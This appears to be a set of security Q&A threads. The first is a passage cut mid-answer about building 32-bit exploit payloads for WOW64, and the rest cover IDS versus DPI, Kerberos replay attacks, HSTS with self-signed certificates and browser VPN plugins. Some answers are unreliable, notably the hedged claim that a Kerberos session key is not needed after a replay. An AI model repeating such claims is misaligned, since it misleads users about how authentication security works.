Windows 64-bit contains a lot of code to ensure that there is compatibility for x86 programs to run on an x64 architecture, but the executables have to be written to take advantage of this.  In this case the exploit would have to be built as a 32-bit application, and utilize the WOW64 subsystem.  This subsystem is kind of like a sandbox to run 32-bit applications.  It essentially emulates a 32-bit system for the purposes of execution.
2. Is there a solution for payload delivery that does not have architectural dependencies?
Compilers build for a specific architecture.  As I stated above architecture independent code requires a some time of emulation.  For example, Java uses a virtual machine to run on multiple platforms.  This comes at a performance cost.
3. Would encoding a x64 payload with an x86 encoder create compatibility issues when executed?
I don't know what an x86 encoder is.  If you mean you're transforming x64 machine code into x86 machine code... you might as well just build for x86 to begin with.  Since it's pretty much the same thing.


Distinction of DPI and IDS I'm currently reading about Intrusion Detection Systems (IDS) and noticed a huge variety of definitions for the term of Deep Packet Inspection. Especially the NIST shows three different techniques in their paper "Guide to Intrusion Detection and Prevention Systems" which are:

Signature-Based Detection
Anomaly-Based Detection
Stateful Protocol Analysis

In a footnote they state that Stateful Protocol Analysis is basically just another term for DPI, which seems fine for me. However Signature-Based Detection is supposed to detect malicious behaviour by comparing signatures of e.g. packets with a given Dataset of known attacks.

This requires in my understanding unpacking data in case of network IDS up to the application layer and actually analyse the packet's data, which sounds like a definition of DPI to me.

On the other hand DPI is defined in various sources as the sum of IDS/IPS and a stateful firewall. Each definition of the term is somehow depending on the other term.
Can someone give me a clear and correct definition of IDS in respect to DPI and vice versa?

IDS can cover deep packet inspection, or a simple look at connection types, or anything in between. You can have Network IDS or Host IDS, depending on what you want to focus your attention on.

DPI is a very specific type of analysis of packet contents in order to understand what the purpose of the communication is.
Signature Based Detection does not require any deep packet analysis - it is simpler and faster than DPI (which can also be known as Stateful Protocol Analysis)

There is no one-to-one relationship between IDS or DPI, or in fact any other acronyms touted by companies. They are simply ways to describe a service or product, and different vendors use different terms.


Kerberos - what can an attacker achieve from a replay attack? On the last step of Kerberos, the client sends the target server a ticket and an authenticator. One of the authenticator's parts is a timestamp. The timestamp is said to prevent replay attacks, as the server can verify a message is fresh, and that it has only been sent once (using a cache). This is all clear. What I don't get is the purpose of a replay attack in the first place. Sure, without the timestamp, the attacker can re-transmit legitimate authentication messages. But without having the session key, there's no way to further communicate with the server anyway, is there?

So, assuming replay attacks are possible, and an attacker can fool the server to think it is some legit user. How can the attacker operate within the created session, given it never got a hold of the session key?

You might want to read this PDF, which gives an example of such replay attack. In effect, it's not so much a replay attack as it is a man-in-the-middle attack. That said, part of the reason for having the timestamp and cache is to make it harder for an attacker to perform such a replay attack, and instead they must actually perform a MITM, which is harder. They actively have to block the request to be able to use the authenticator.

As far as the session key, as far as I understand it, and I might be wrong, it's not actually required once you get the token allowing you access to the resource. Again, I'm not sure so better read about it in more detail.


Is HSTS header any useful without a recognized certificate? The application I'm working on is accessible only via IP address, so HTTPS connection is provided via a custom-signed certificate.

I explained to my client that (from MDN docs)

  [...] when your site is accessed over HTTPS with no certificate errors, the browser knows your site is HTTPS capable and will honor the Strict-Transport-Security header.

it therefore does not work with self-sigend certificate, but he wants it anyway
because of (quoting) "security reasons".

Does the HSTS header have any usefulness in case of self-signed certificates?

HSTS will not work with typical self-signed certificates, i.e. where the issuer is the certificate itself. But it will work with certificates issued by any CA provided that this CA is added as trusted to the browser. This means also that some private CA can be used to create the certificate in question as long as this private CA is added as trusted to the browsers.


What do browser VPNs actually do? Firstly, I am not sure if this is the correct forum to be asking this question so I apologise if not. What I would like to know is, what do VPN browser plug-ins (such as zenmate) actually do and how secure are they?

I understand that they re-rout your internet traffic through different secure servers making it difficult to track and intercept but what is actually happening?

Also continuing with the browser plug-in theme, do these VPNs re-route all network traffic or just data that is directed through your browser, specifically will they also redirect traffic from desktop games etc that are played online?

Browser-based proxies only work in the context of your browser. All other non-proxied actions (such as Skype, et al) will be performed in the context of your ISP.

Here's a better explanation:

You use a browser-based proxy for web-surfing. While surfing, if the VPN actually works correctly, you will appear as the proxied address. For example, overflow.my.buffalos-proxy.co.uk
You don't use a proxy to connect to anything else. You will appear as what your ISP designates you as. For example, c-13-333-33-37.hsd1.ca.comcast.net (fake address) when playing games / Skyping / et al.

  I understand that they re-rout your internet traffic through different secure servers making it difficult to track and intercept but what is actually happening?

Here's a dumbed-down version of what's happening:

You connect to your VPN before sending a request through an encrypted connection.
Your VPN receives the encrypted content, and decrypts it. If you're using HTTPS, it will be preserved. Remember, you're just encrypting the data to and fro. A man-in-the-middle attack is possible.
Your VPN connects to the website, and sends the request you asked for.
The website returns the data to the VPN.
The VPN encrypts the traffic, and sends it back to you.

Does hiding behind proxies protect you?

Using a browser-based VPN plugin can betray you if you have Flash, Java, or even other plugins installed. Anything that can get read/write access to your file system will betray your presence.

There has also been a recently-discovered exploit that affected users of private internet access, a VPN provider.

It's also not that difficult to track you online, even if you're behind a bunch of proxies. Why?

Browser-fingerprinting

This essentially allows anyone with access to a browser-fingerprint database to track your surfing habits, if you have Javascript, Java, and/or Flash enabled, or aren't using a plugin to randomize your values on page load. Even with a plugin that randomizes these values, Flash and Java will betray you, and Javascript can do so as well, but not to the extent of what Java and Flash can do.

Surfing with Javascript Enabled

Javascript is notoriously exploited, and there are always new vulnerabilities popping up. Anything that can execute remote code on your system is dangerous. D

Surfing with Flash Enabled
Become a victim of Java exploits, or even legitimate Java programs.

There are multiple tricks to reveal your network interface / computer hardware information. Unique serial numbers on devices are a thing, and this is one of the ways Microsoft attempted to thwart piracy, only to affect legitimate users the most.

Signing into services/accounts that you normally use, while surfing anonymously.

For example, keeping Steam, Skype, or something else running, or even having Windows check for updates! These leave a huge bread-trail.

Using browser plugins with read/write access.
Analyzing connection logs for recent activity.

User A connected to Proxy A at X time.
Proxy A connected to Proxy B close to X time at Y time.
Proxy B connected to Proxy C close to Y time at Z time.

Your VPN disconnected you at an inopportune time, and you reestablished connection to all services under your real IP.

  Also continuing with the browser plug-in theme, do these VPNs re-route all network traffic or just data that is directed through your browser, specifically will they also redirect traffic from desktop games etc that are played online?

Browser plugins in general will only re-route traffic to and from the browser's requests. That's it. If you're playing a browser-based game, then sure, I don't see why not.

Desktop games will not be redirected unless the browser plugin does some weird tomfoolery that manages to install an application on your desktop which does this.